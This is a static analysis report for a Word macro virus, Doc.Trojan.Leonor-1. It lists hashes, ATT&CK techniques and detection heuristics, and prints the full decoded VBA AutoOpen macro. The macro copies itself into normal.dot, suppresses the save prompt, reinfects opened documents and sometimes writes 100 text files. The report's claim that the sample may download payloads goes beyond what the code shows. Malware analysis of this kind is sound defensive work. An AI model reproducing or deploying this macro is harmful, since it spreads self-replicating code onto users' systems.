Doc.Trojan.Leonor-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 3ceb5d66ec0e2157…

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 03a528822fbb10972d2eabcabecf5bb6 SHA-1: a56e822ca7ab5b5cedc85e805a5323809b92fef9 SHA-256: 3ceb5d66ec0e21576237f27c0c4ffeab5d10f19b5669e0e1221c45eed85aa678
200 Risk Score

Malware Insights

Doc.Trojan.Leonor-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, identified by ClamAV as Doc.Trojan.Leonor-1. This macro attempts to copy itself to the default Word template ('normal.dot') and conditionally creates multiple text files in 'C:\windows\escritorio\' with the content 'I love Leonor forever'. This behavior suggests an attempt to establish persistence and potentially download or execute further malicious payloads.

Heuristics 4

  • ClamAV: Doc.Trojan.Leonor-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Leonor-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1940 bytes
SHA-256: e442f63a3c598d185ae58eec2bb175b1be9228dd6abd2b5166b184fe78216b24
Detection
ClamAV: Doc.Trojan.Leonor-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Cierra todas las ventanas del documento activo."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim normal$
Dim fichero$
Dim contador
Dim BuscarMacro$
Dim comprueba
Dim bandera
Dim Dia
Dim Numero
Dim repite
Dim repetidor$
Dim AutoOpen$
'Leonor macro (v1.1) made by uhjov
normal$ = WordBasic.[DefaultDir$](2)
normal$ = normal$ + "\normal.dot"
SetAttr normal$, 0
fichero$ = WordBasic.[FileName$]()
For contador = 1 To WordBasic.CountMacros()
  BuscarMacro$ = WordBasic.[MacroName$](contador, 0)
  If BuscarMacro$ = "AutoOpen" Then comprueba = 1
Next
If comprueba <> 1 Then
  WordBasic.Organizer Copy:=1, Source:=fichero$, Destination:=normal$, _
  Name:="AutoOpen", Tab:=3
  WordBasic.ToolsOptionsSave GlobalDotPrompt:=0
  WordBasic.FileSaveAll
  bandera = 1
  SetAttr normal$, 0
End If
If bandera <> 1 Then
  Dia = WordBasic.WeekDay(WordBasic.Today())
  Numero = WordBasic.Int(Rnd() * 100)
  If Dia = 2 Or Dia = 7 Then
    If Numero < 10 Then
      For repite = 1 To 100
        repetidor$ = "C:\windows\escritorio\" + WordBasic.[LTrim$](Str(repite)) _
        + ".txt"
        Open repetidor$ For Output As 1
        Print #1, "I love Leonor forever"
        Close 1
      Next
    End If
  End If
  If UCase(WordBasic.[MacroFileName$](AutoOpen$)) = UCase(normal$) Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.Organizer Copy:=1, Source:=normal$, Destination:=fichero$, _
    Name:="AutoOpen", Tab:=3
    WordBasic.FileSaveAs Format:=1
  End If
End If
End Sub